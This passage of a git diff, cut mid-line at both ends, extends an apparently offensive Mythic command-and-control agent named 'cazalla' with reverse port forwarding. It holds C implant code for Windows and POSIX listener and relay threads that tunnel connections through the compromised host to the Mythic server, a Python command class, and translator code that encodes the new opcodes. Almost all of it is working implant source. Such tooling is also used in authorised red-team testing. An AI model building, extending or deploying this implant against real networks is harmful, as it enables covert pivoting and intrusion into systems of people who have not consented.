m->port); + outgoing_node_t *n = malloc(sizeof(outgoing_node_t)); + memset(n,0,sizeof(*n)); + n->msg.server_id = m->server_id; + n->msg.exit_flag = m->exit_flag; + n->msg.data_len = m->data_len; + n->msg.port = m->port; + if (m->data_len) { + n->msg.data = malloc(m->data_len); + memcpy(n->msg.data, m->data, m->data_len); + } else n->msg.data = NULL; + n->next = NULL; +#ifdef _WIN32 + EnterCriticalSection(&out_lock); +#else + pthread_mutex_lock(&out_lock); +#endif + if (!out_tail) out_head = out_tail = n; + else { out_tail->next = n; out_tail = n; } +#ifdef _WIN32 + LeaveCriticalSection(&out_lock); +#else + pthread_mutex_unlock(&out_lock); +#endif +_dbg("Mensaje RPFWD encolado OK (sid=%u)", m->server_id); +} + +/* === Volcado de cola de salida === */ +void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx) { +_dbg("rpfwd_flush_outgoing: iniciando"); + if (!cb) { + _err("ERROR: callback es NULL"); + return; + } +#ifdef _WIN32 + EnterCriticalSection(&out_lock); +#else + pthread_mutex_lock(&out_lock); +#endif + outgoing_node_t *n = out_head; + out_head = out_tail = NULL; +#ifdef _WIN32 + LeaveCriticalSection(&out_lock); +#else + pthread_mutex_unlock(&out_lock); +#endif + + int count = 0; + while (n) { + count++; +_dbg("rpfwd_flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu port=%u)", + count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len, n->msg.port); + outgoing_node_t *next = n->next; + cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, n->msg.port, ctx); + if (n->msg.data) free(n->msg.data); + free(n); + n = next; + } +_dbg("rpfwd_flush_outgoing: completado (%d mensajes procesados)", count); +} + +/* === Generar server_id único === */ +static uint32_t generate_server_id(void) { + // Generate random server_id (uint32_t) + // Use combination of time and random +#ifdef _WIN32 + srand((unsigned int)(time(NULL) ^ GetCurrentProcessId())); +#else + srand((unsigned int)(time(NULL) ^ getpid())); +#endif + uint32_t sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF); + // Ensure it's unique by checking existing entries (limit iterations to avoid infinite loop) + int max_iterations = 100; + while (find_entry(sid) != NULL && max_iterations-- > 0) { + sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF); + } + if (max_iterations <= 0) { + _err("rpfwd ERROR: Could not generate unique server_id"); + sid = 0; + } + return sid; +} + +/* === Thread lector (lee de conexión local y envía a Mythic) === */ +#ifdef _WIN32 +DWORD WINAPI rpfwd_reader_thread(LPVOID arg); +#else +static void* rpfwd_reader_thread(void* arg); +#endif + +typedef struct rpfwd_reader_args { + uint32_t server_id; + sock_t s; + uint32_t port; +} rpfwd_reader_args_t; + +#ifdef _WIN32 +DWORD WINAPI rpfwd_reader_thread(LPVOID arg) { + rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg; + if (!ra) { + _err("rpfwd_reader_thread: arg is NULL"); + return 1; + } + uint32_t sid = ra->server_id; + sock_t s = ra->s; + uint32_t port = ra->port; + free(ra); +_dbg("rpfwd_reader_thread iniciado para sid=%u socket=%d port=%u", sid, (int)s, port); + unsigned char *buf = (unsigned char*)malloc(4096); + if (!buf) { + _err("rpfwd_reader_thread: malloc failed"); + CLOSESOCK(s); + rpfwd_msg_t m2 = {sid, 1, NULL, 0, port}; + enqueue_outgoing(&m2); + return 1; + } + int loop_count = 0; + while (1) { + loop_count++; +_dbg("rpfwd sid=%u loop #%d, llamando recv()...", sid, loop_count); + int r = recv(s, (char*)buf, 4096, 0); +_dbg("rpfwd sid=%u recv() retornó r=%d", sid, r); + if (r < 0) { + int err = WSAGetLastError(); +_dbg("rpfwd WSAError=%d", err); + } + if (r <= 0) break; +_dbg("rpfwd sid=%u recibió %d bytes, encolando...", sid, r); + // Allocate new buffer for the message + unsigned char *msg_buf = (unsigned char*)malloc(r); + if (msg_buf) { + memcpy(msg_buf, buf, r); + rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port}; + enqueue_outgoing(&m); +_dbg("rpfwd sid=%u datos encolados OK", sid); + } else { + _err("rpfwd_reader_thread: malloc for msg_buf failed"); + } + } +_dbg("rpfwd sid=%u salió del loop, cerrando socket", sid); + free(buf); +_dbg("rpfwd reader sid=%u closing", sid); + rpfwd_msg_t m2 = {sid, 1, NULL, 0, port}; + enqueue_outgoing(&m2); + CLOSESOCK(s); +_dbg("rpfwd reader thread terminado para sid=%u", sid); + return 0; +} +#else +static void* rpfwd_reader_thread(void* arg) { + rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg; + if (!ra) { + _err("rpfwd_reader_thread: arg is NULL"); + return NULL; + } + uint32_t sid = ra->server_id; + sock_t s = ra->s; + uint32_t port = ra->port; + free(ra); + unsigned char *buf = (unsigned char*)malloc(4096); + if (!buf) { + _err("rpfwd_reader_thread: malloc failed"); + CLOSESOCK(s); + rpfwd_msg_t m2 = {sid, 1, NULL, 0, port}; + enqueue_outgoing(&m2); + return NULL; + } + while (1) { + ssize_t r = recv(s, buf, 4096, 0); + if (r <= 0) break; +_dbg("rpfwd reader sid=%u recv=%zd", sid, r); + // Allocate new buffer for the message + unsigned char *msg_buf = (unsigned char*)malloc(r); + if (msg_buf) { + memcpy(msg_buf, buf, r); + rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port}; + enqueue_outgoing(&m); + } else { + _err("rpfwd_reader_thread: malloc for msg_buf failed"); + } + } + free(buf); +_dbg("rpfwd reader sid=%u closing", sid); + rpfwd_msg_t m2 = {sid, 1, NULL, 0, port}; + enqueue_outgoing(&m2); + CLOSESOCK(s); + return NULL; +} +#endif + +/* === Thread listener (acepta conexiones locales) === */ +#ifdef _WIN32 +DWORD WINAPI rpfwd_listener_thread(LPVOID arg); +#else +static void* rpfwd_listener_thread(void* arg); +#endif + +#ifdef _WIN32 +DWORD WINAPI rpfwd_listener_thread(LPVOID arg) { + uint16_t port = *(uint16_t*)arg; + free(arg); +_inf("rpfwd_listener_thread iniciado en puerto %u", port); + + struct sockaddr_in sa; + sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0); + if (listen_sock == INVALID_SOCKET) { + DWORD err = WSAGetLastError(); + _err("rpfwd ERROR: socket() failed, WSAError=%lu", err); + rpfwd_active = 0; + return 1; + } +_inf("rpfwd socket creado exitosamente"); + + // Set SO_REUSEADDR + int opt = 1; + if (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt)) != 0) { + DWORD err = WSAGetLastError(); + _wrn("rpfwd WARNING: setsockopt SO_REUSEADDR failed, WSAError=%lu (continuando...)", err); + } + + memset(&sa, 0, sizeof(sa)); + sa.sin_family = AF_INET; + sa.sin_addr.s_addr = INADDR_ANY; + sa.sin_port = htons(port); + + if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) { + DWORD err = WSAGetLastError(); + _err("rpfwd ERROR: bind() failed on port %u, WSAError=%lu", port, err); + if (err == WSAEACCES || err == 10013) { + _err("rpfwd ERROR: Puerto %u requiere privilegios de administrador (puertos privilegiados: <1024)", port); + _err("rpfwd ERROR: Sugerencia: Usa un puerto no privilegiado (>=1024), ej: 8080, 4444, 5555"); + } else if (err == WSAEADDRINUSE || err == 10048) { + _err("rpfwd ERROR: Puerto %u ya está en uso", port); + } else { + _err("rpfwd ERROR: Error desconocido al hacer bind(), WSAError=%lu", err); + } + CLOSESOCK(listen_sock); + rpfwd_active = 0; + return 1; + } +_inf("rpfwd bind exitoso en puerto %u", port); + + if (listen(listen_sock, 10) != 0) { + DWORD err = WSAGetLastError(); + _err("rpfwd ERROR: listen() failed, WSAError=%lu", err); + CLOSESOCK(listen_sock); + rpfwd_active = 0; + return 1; + } +_inf("rpfwd listen exitoso"); + + listener_sock = listen_sock; +_inf("rpfwd listener escuchando en puerto %u (socket=%d)", port, (int)listen_sock); + + while (rpfwd_active) { + struct sockaddr_in client_addr; + int addr_len = sizeof(client_addr); +_dbg("rpfwd esperando conexión en puerto %u...", port); + sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len); + + if (client_sock == INVALID_SOCKET) { + DWORD err = WSAGetLastError(); + if (!rpfwd_active) { +_inf("rpfwd listener deteniéndose (rpfwd_active=0)"); + break; + } + if (err != WSAEWOULDBLOCK && err != 0) { + _wrn("rpfwd accept() error: WSAError=%lu (continuando...)", err); + } + continue; + } + + // Generate unique server_id for this connection + uint32_t sid = generate_server_id(); +_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid, + inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); + + // Set timeout + int timeout_ms = 60000; // 60s + setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms)); + + // Create entry + create_entry(sid, client_sock, port); + + // Spawn reader thread + rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t)); + if (!ra) { + _err("rpfwd ERROR: malloc failed for reader args"); + CLOSESOCK(client_sock); + continue; + } + ra->server_id = sid; + ra->s = client_sock; + ra->port = port; + + // Send initial data notification to Mythic (empty data, new connection) + rpfwd_msg_t m = {sid, 0, NULL, 0, port}; + enqueue_outgoing(&m); + + HANDLE th = CreateThread(NULL, 0, rpfwd_reader_thread, ra, 0, NULL); + if (!th) { + _err("rpfwd ERROR: CreateThread failed for reader"); + free(ra); + CLOSESOCK(client_sock); + remove_entry(sid); + continue; + } + CloseHandle(th); // Don't wait for thread, just close handle + } + + CLOSESOCK(listen_sock); + listener_sock = INVALID_SOCKET; +_dbg("rpfwd_listener_thread terminado"); + return 0; +} +#else +static void* rpfwd_listener_thread(void* arg) { + uint16_t port = *(uint16_t*)arg; + free(arg); +_dbg("rpfwd_listener_thread iniciado en puerto %u", port); + + struct sockaddr_in sa; + sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0); + if (listen_sock == INVALID_SOCKET) { + _err("rpfwd ERROR: socket() failed"); + return (void*)(intptr_t)1; + } + + // Set SO_REUSEADDR + int opt = 1; + setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + + memset(&sa, 0, sizeof(sa)); + sa.sin_family = AF_INET; + sa.sin_addr.s_addr = INADDR_ANY; + sa.sin_port = htons(port); + + if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) { + _err("rpfwd ERROR: bind() failed on port %u, errno=%d", port, errno); + CLOSESOCK(listen_sock); + return (void*)(intptr_t)1; + } + + if (listen(listen_sock, 10) != 0) { + _err("rpfwd ERROR: listen() failed, errno=%d", errno); + CLOSESOCK(listen_sock); + return (void*)(intptr_t)1; + } + + listener_sock = listen_sock; +_dbg("rpfwd listener escuchando en puerto %u", port); + + while (rpfwd_active) { + struct sockaddr_in client_addr; + socklen_t addr_len = sizeof(client_addr); + sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len); + + if (client_sock == INVALID_SOCKET) { + if (!rpfwd_active) break; + continue; + } + + // Generate unique server_id + uint32_t sid = generate_server_id(); +_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid, + inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); + + // Set timeout + struct timeval timeout; + timeout.tv_sec = 60; + timeout.tv_usec = 0; + setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); + + // Create entry + create_entry(sid, client_sock, port); + + // Spawn reader thread + rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t)); + if (!ra) { + _err("rpfwd ERROR: malloc failed for reader args"); + CLOSESOCK(client_sock); + continue; + } + ra->server_id = sid; + ra->s = client_sock; + ra->port = port; + + // Send initial data notification to Mythic (empty data, new connection) + rpfwd_msg_t m = {sid, 0, NULL, 0, port}; + enqueue_outgoing(&m); + + pthread_t tid; + if (pthread_create(&tid, NULL, rpfwd_reader_thread, ra) != 0) { + _err("rpfwd ERROR: pthread_create failed for reader"); + free(ra); + CLOSESOCK(client_sock); + remove_entry(sid); + continue; + } + pthread_detach(tid); + } + + CLOSESOCK(listen_sock); + listener_sock = INVALID_SOCKET; +_dbg("rpfwd_listener_thread terminado"); + return NULL; +} +#endif + +/* === Procesamiento principal (datos desde Mythic hacia conexión local) === */ +int rpfwd_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port) { +_dbg("rpfwd_process_incoming: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port); + if (server_id == 0) { + _err("rpfwd ERROR: invalid server_id=%u", server_id); + return -4; + } + + if (exit_flag) { +_dbg("rpfwd Exit flag set, removiendo entry sid=%u", server_id); + remove_entry(server_id); + return 0; + } + + rpfwd_conn_entry_t *e = find_entry(server_id); + if (!e) { +_dbg("rpfwd Nueva conexión desde Mythic para sid=%u, pero no existe entry local", server_id); + // Entry doesn't exist - might be a new connection notification from Mythic + // This is normal for RPFWD, just ignore + return 0; + } + + if (e->closed) { +_dbg("rpfwd Conexión sid=%u ya está cerrada", server_id); + return 0; + } + + // Forward data to local TCP connection + if (data_len > 0 && data) { + int sent = send(e->sock, (const char*)data, (int)data_len, 0); + if (sent <= 0) { +_dbg("rpfwd Error enviando datos a sid=%u, cerrando", server_id); + remove_entry(server_id); + rpfwd_msg_t m = {server_id, 1, NULL, 0, port}; + enqueue_outgoing(&m); + return -1; + } +_dbg("rpfwd Enviados %d bytes a sid=%u", sent, server_id); + } + + return 0; +} + +/* === Start/Stop listener === */ +int rpfwd_manager_start_listener(uint16_t local_port) { + if (rpfwd_active) { +_dbg("rpfwd ya está activo en puerto %u", listener_port); + return 0; + } + + rpfwd_manager_init(); + rpfwd_active = 1; + listener_port = local_port; +_inf("rpfwd_manager_start_listener: iniciando listener en puerto %u", local_port); + + uint16_t *port_arg = (uint16_t*)malloc(sizeof(uint16_t)); + if (!port_arg) { + _err("rpfwd ERROR: malloc failed for port_arg"); + rpfwd_active = 0; + return -1; + } + *port_arg = local_port; + +#ifdef _WIN32 + listener_thread_handle = CreateThread(NULL, 0, rpfwd_listener_thread, port_arg, 0, NULL); + if (!listener_thread_handle) { + _err("rpfwd ERROR: failed to create listener thread (error: %lu)", GetLastError()); + rpfwd_active = 0; + free(port_arg); + return -1; + } +_inf("rpfwd listener thread creado exitosamente"); + // Don't close handle immediately - we need it to check if thread is still alive +#else + if (pthread_create(&listener_thread_id, NULL, rpfwd_listener_thread, port_arg) != 0) { + _err("rpfwd ERROR: failed to create listener thread"); + rpfwd_active = 0; + free(port_arg); + return -1; + } +_inf("rpfwd listener thread creado exitosamente"); + pthread_detach(listener_thread_id); +#endif + + // Give the thread a moment to initialize and report any errors + Sleep(100); + + // Check if the listener socket was created successfully + if (listener_sock == INVALID_SOCKET && rpfwd_active) { + _wrn("rpfwd listener socket no se creó, thread podría haber fallado"); + // Thread might have failed - reset active flag + rpfwd_active = 0; + return -2; + } + + return 0; +} + +int rpfwd_manager_stop_listener(void) { +_dbg("rpfwd_manager_stop_listener()"); + rpfwd_active = 0; + + if (listener_sock != INVALID_SOCKET) { + CLOSESOCK(listener_sock); + listener_sock = INVALID_SOCKET; + } + +#ifdef _WIN32 + if (listener_thread_handle) { + WaitForSingleObject(listener_thread_handle, 2000); + CloseHandle(listener_thread_handle); + listener_thread_handle = NULL; + } +#endif + +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + rpfwd_conn_entry_t *cur = conn_list; + while (cur) { + if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock); + cur = cur->next; + } +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif + + listener_port = 0; + return 0; +} + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.h new file mode 100644 index 0000000..7262cf4 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/rpfwd_manager.h @@ -0,0 +1,47 @@ +#ifndef RPFWD_MANAGER_H +#define RPFWD_MANAGER_H + +#include +#include + +/* ==== Estructura básica de mensaje RPFWD ==== */ +typedef struct rpfwd_msg_s { + uint32_t server_id; + int exit_flag; + unsigned char *data; + size_t data_len; + uint32_t port; // Optional port for multi-port RPFWD +} rpfwd_msg_t; + +/* ==== Callbacks ==== */ +typedef void (*rpfwd_send_cb_t)( + uint32_t server_id, + int exit_flag, + const unsigned char *data, + size_t data_len, + uint32_t port, + void *ctx +); + +/* ==== Estado global ==== */ +extern volatile int rpfwd_active; // indica si RPFWD está activo + +/* ==== API pública ==== */ +void rpfwd_manager_init(void); +void rpfwd_manager_cleanup(void); + +int rpfwd_manager_process_incoming( + uint32_t server_id, + int exit_flag, + const unsigned char *data, + size_t data_len, + uint32_t port +); + +void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx); + +int rpfwd_manager_start_listener(uint16_t local_port); +int rpfwd_manager_stop_listener(void); + +#endif /* RPFWD_MANAGER_H */ + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py b/Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py new file mode 100644 index 0000000..e2679bc --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py @@ -0,0 +1,154 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import ( + SendMythicRPCProxyStartCommand, + MythicRPCProxyStartMessage, + SendMythicRPCProxyStopCommand, + MythicRPCProxyStopMessage, + CALLBACK_PORT_TYPE_RPORTFWD +) +import json +import logging + +logging.basicConfig(level=logging.INFO) + + +class RpfwdArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="action", + type=ParameterType.ChooseOne, + description="Acción a realizar (start/stop)", + choices=["start", "stop"], + default_value="start", + parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)] + ), + CommandParameter( + name="port", + type=ParameterType.Number, + description="Puerto local del agente donde escuchar (solo para start)", + parameter_group_info=[ParameterGroupInfo(required=False, ui_position=2)] + ), + CommandParameter( + name="remote_host", + type=ParameterType.String, + description="IP o hostname remoto al que Mythic debe conectar (solo para start)", + parameter_group_info=[ParameterGroupInfo(required=False, ui_position=3)] + ), + CommandParameter( + name="remote_port", + type=ParameterType.Number, + description="Puerto remoto al que Mythic debe conectar (solo para start)", + parameter_group_info=[ParameterGroupInfo(required=False, ui_position=4)] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Debe especificar 'start' o 'stop'.") + parts = self.command_line.strip().split() + action = parts[0].lower() + + if action not in ["start", "stop"]: + raise ValueError("Acción debe ser 'start' o 'stop'.") + + # Parsear puerto local (opcional) + local_port = int(parts[1]) if len(parts) > 1 else 8080 + self.add_arg("port", local_port) + + # Parsear host remoto y puerto (opcionales) + remote_host = parts[2] if len(parts) > 2 else "127.0.0.1" + remote_port = int(parts[3]) if len(parts) > 3 else 80 + self.add_arg("remote_host", remote_host) + self.add_arg("remote_port", remote_port) + + self.add_arg("action", action) + + async def parse_dictionary(self, dictionary_arguments): + action = dictionary_arguments.get("action", "start") + # Valores por defecto + if "port" not in dictionary_arguments: + dictionary_arguments["port"] = 8080 + if "remote_host" not in dictionary_arguments: + dictionary_arguments["remote_host"] = "127.0.0.1" + if "remote_port" not in dictionary_arguments: + dictionary_arguments["remote_port"] = 80 + self.load_args_from_dictionary(dictionary_arguments) + + +class RpfwdCommand(CommandBase): + cmd = "rpfwd" + needs_admin = False + help_cmd = "rpfwd start [local_port] [remote_host] [remote_port] / rpfwd stop" + description = "Inicia o detiene el reverse port forwarding. El agente escucha en local_port y Mythic reenvía a remote_host:remote_port. Puerto local por defecto: 8080" + version = 1 + author = "OFSTeam" + argument_class = RpfwdArguments + attackmapping = [] + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows], + builtin=True, + ) + + async def create_tasking(self, task: MythicTask) -> MythicTask: + action = task.args.get_arg("action") + if action == "start": + local_port = task.args.get_arg("port") + remote_host = task.args.get_arg("remote_host") + remote_port = task.args.get_arg("remote_port") + task.display_params = f"{action.upper()} (local:{local_port} -> {remote_host}:{remote_port})" + else: + task.display_params = "STOP" + return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True) + + action = taskData.args.get_arg("action") + local_port = taskData.args.get_arg("port") if taskData.args.get_arg("port") else 8080 + + try: + if action == "start": + remote_host = taskData.args.get_arg("remote_host") or "127.0.0.1" + remote_port = taskData.args.get_arg("remote_port") or 80 + + # Warn if using a privileged port on Windows (may require admin) + if local_port < 1024: + logging.warning(f"Warning: Port {local_port} is privileged (<1024) and may require administrator privileges on Windows") + logging.warning(f"Consider using a non-privileged port (>=1024) like 8080, 4444, or 5555") + + # Register RPFWD with Mythic - Mythic will automatically send start_rpfwd command to agent + resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage( + TaskID=taskData.Task.ID, + LocalPort=local_port, + RemoteIP=remote_host, + RemotePort=remote_port, + PortType=CALLBACK_PORT_TYPE_RPORTFWD + )) + logging.info(f"RPFWD registered with Mythic: local port {local_port} on agent -> {remote_host}:{remote_port}") + logging.info(f"To test: Connect to port {local_port} on the AGENT host (not Mythic server)") + if not resp.Success: + response.Success = False + response.Error = resp.Error + elif action == "stop": + # Unregister RPFWD with Mythic - Mythic will automatically send stop_rpfwd command to agent + resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage( + TaskID=taskData.Task.ID, + Port=local_port, + PortType=CALLBACK_PORT_TYPE_RPORTFWD + )) + logging.info(f"RPFWD unregistered from Mythic: {resp}") + if not resp.Success: + response.Success = False + response.Error = resp.Error + except Exception as e: + logging.error(f"Error en RPFWD RPC: {e}") + response.Success = False + response.Error = str(e) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 716a36f..c39e939 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -30,18 +30,57 @@ commands = { # Added SOCKS control commands "start_socks": {"hex_code": 0x60, "input_type": "int"}, "stop_socks": {"hex_code": 0x61, "input_type": None}, + # Added Reverse Port Forward commands + "start_rpfwd": {"hex_code": 0x62, "input_type": "int"}, + "stop_rpfwd": {"hex_code": 0x63, "input_type": None}, "socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente } def responseTasking(tasks): + print(f"\n[TRANSLATOR] ========== responseTasking INICIO ==========") + print(f"[TRANSLATOR] Número de tareas a procesar: {len(tasks)}") data = b"" dataTask = b"" dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big") + print(f"[TRANSLATOR] dataHead: comando=0x{dataHead[0]:02X}, num_tareas={int.from_bytes(dataHead[1:5], 'big')}, tamaño={len(dataHead)} bytes") for task in tasks: command_to_run = task["command"] - print(f"\n[DEBUG] Preparando comando: {command_to_run}") + print(f"\n[TRANSLATOR] Preparando comando: {command_to_run}") + + # Manejar comandos especiales primero (rpfwd, socks) + if command_to_run == "rpfwd": + # Comando RPFWD: parsea action para decidir entre START (0x62) o STOP (0x63) + print(f"[TRANSLATOR] Comando especial RPFWD detectado") + parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} + action = parameters.get("action", "start") + port = int(parameters.get("port", 8080)) + + task_id = task["id"].encode() + + if action == "start": + # START_RPFWD_CMD (0x62) + task_id + nbArg (1) + port + command_code = bytes([0x62]) # START_RPFWD_CMD + data = command_code + task_id + # Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4)... + nbArg = 1 # Solo el puerto + data += nbArg.to_bytes(4, "big") + data += port.to_bytes(4, "big") + print(f"[TRANSLATOR] RPFWD START: port={port}, nbArg={nbArg}") + else: + # STOP_RPFWD_CMD (0x63) + task_id (sin parámetros) + command_code = bytes([0x63]) # STOP_RPFWD_CMD + data = command_code + task_id + print(f"[TRANSLATOR] RPFWD STOP") + + task_size = len(data) + print(f"[TRANSLATOR] Tamaño total de tarea RPFWD: {task_size} bytes") + print(f"[TRANSLATOR] Desglose: command_code=1, task_id=36, resto={task_size-37} bytes") + dataTask += task_size.to_bytes(4, "big") + data + print(f"[TRANSLATOR] Tarea RPFWD agregada. dataTask ahora tiene {len(dataTask)} bytes") + continue + if command_to_run not in commands: print(f"[ERROR] Comando no reconocido en translator: {command_to_run}") # Skip unknown command to avoid crashing the translator @@ -66,7 +105,6 @@ def responseTasking(tasks): task_size = len(data) print(f"[DEBUG] Tamaño de tarea: {task_size}") - print(f"[DEBUG] Datos de tarea (hex): {data.hex()}") dataTask += task_size.to_bytes(4, "big") + data print("input_type: None") @@ -114,16 +152,32 @@ def responseTasking(tasks): dataTask += len(data).to_bytes(4, "big") + data elif commands[command_to_run]["input_type"] == "int": + print(f"[TRANSLATOR] input_type=='int' para comando {command_to_run}") + print(f"[TRANSLATOR] task_id (raw): {task_id}, len={len(task_id)}") + # Para input_type=="int", el task_id se envía directamente sin prefijo de longitud (36 bytes) data = command_code + task_id + print(f"[TRANSLATOR] data después de command_code+task_id: {len(data)} bytes (1+36=37)") + if task["parameters"] != "": parameters = json.loads(task["parameters"]) - data += len(parameters).to_bytes(4, "big") + print(f"[TRANSLATOR] Parámetros parseados: {parameters}") + nbArg = len(parameters) + data += nbArg.to_bytes(4, "big") + print(f"[TRANSLATOR] nbArg agregado: {nbArg} (4 bytes)") for param in parameters: + param_value = parameters[param] + print(f"[TRANSLATOR] Agregando parámetro '{param}' = {param_value} (4 bytes)") # Expecting integer values in parameters dict - data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente + data += int(param_value).to_bytes(4, "big") # Convertir el int correctamente else: + print(f"[TRANSLATOR] Sin parámetros, agregando nbArg=0") data += b"\x00\x00\x00\x00" - dataTask += len(data).to_bytes(4, "big") + data + + task_size = len(data) + print(f"[TRANSLATOR] Tamaño total de tarea (incluye command_code): {task_size} bytes") + print(f"[TRANSLATOR] Desglose: command_code=1, task_id=36, nbArg=4, params={task_size-1-36-4} bytes") + dataTask += task_size.to_bytes(4, "big") + data + print(f"[TRANSLATOR] Tarea agregada a dataTask. dataTask ahora tiene {len(dataTask)} bytes") elif commands[command_to_run]["input_type"] == "socks_special": # Comando SOCKS: parsea action para decidir entre START (0x60) o STOP (0x61) @@ -135,20 +189,23 @@ def responseTasking(tasks): # START_SOCKS_CMD (0x60) + task_id + puerto data = bytes([0x60]) + task_id data += port.to_bytes(4, "big") - print(f"[DEBUG] SOCKS START: port={port}") + print(f"[TRANSLATOR] SOCKS START: port={port}") else: # STOP_SOCKS_CMD (0x61) + task_id (sin parámetros) data = bytes([0x61]) + task_id - print(f"[DEBUG] SOCKS STOP") + print(f"[TRANSLATOR] SOCKS STOP") - dataTask += len(data).to_bytes(4, "big") + data + dataTask += len(data).to_bytes(4, "big") + data dataToSend = dataHead + dataTask - print("estamos en el dataToSend\n") - print(f"[TRANSLATOR] dataToSend total={len(dataToSend)} bytes") - print(f"[TRANSLATOR] dataHead (comando+num_tasks)={dataHead.hex()} ({len(dataHead)} bytes)") - print(f"[TRANSLATOR] dataTask (tareas)={dataTask.hex()[:100]}..." if len(dataTask) > 50 else f"[TRANSLATOR] dataTask={dataTask.hex()}") - print(f"[TRANSLATOR] First byte of dataToSend=0x{dataToSend[0]:02X}") + print(f"[TRANSLATOR] ========== responseTasking FIN ==========") + print(f"[TRANSLATOR] dataHead: {len(dataHead)} bytes") + print(f"[TRANSLATOR] dataTask: {len(dataTask)} bytes") + print(f"[TRANSLATOR] dataToSend TOTAL: {len(dataToSend)} bytes, {len(tasks)} task(s)") + print(f"[TRANSLATOR] Primer byte: 0x{dataToSend[0]:02X} (GET_TASKING)") + print(f"[TRANSLATOR] Número de tareas: {int.from_bytes(dataToSend[1:5], 'big')}") + if len(dataToSend) > 5: + print(f"[TRANSLATOR] Primeros bytes de dataTask: {dataToSend[5:min(20, len(dataToSend))].hex()}") return dataToSend diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index be861f5..813c29b 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -309,7 +309,7 @@ def parse_file_browser_list(output_text): def postResponse(data): print(f"Tamaño del Base64 recibido: {len(data)} bytes") - print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}") + # Removed hex dump - use debug logging if needed print(f"[DEBUG] Primeros 100 bytes (repr): {repr(data[:100])}") resTaks = [] diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py index bda40a9..c4e5a2f 100644 --- a/Payload_Type/cazalla/translator/translator.py +++ b/Payload_Type/cazalla/translator/translator.py @@ -159,6 +159,31 @@ class cazalla_translator(TranslationContainer): print(f"[TRANSLATOR] SOCKS block total: {len(socks_block)} bytes (marker + len={5} + ext={len(extension)})") response.Message += socks_block print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes") + + # Append RPFWD array if present from Mythic + rpfwd_list = inputMsg.Message.get("rpfwd", []) + print(f"[TRANSLATOR] RPFWD list: {len(rpfwd_list)} items") + if rpfwd_list: + # 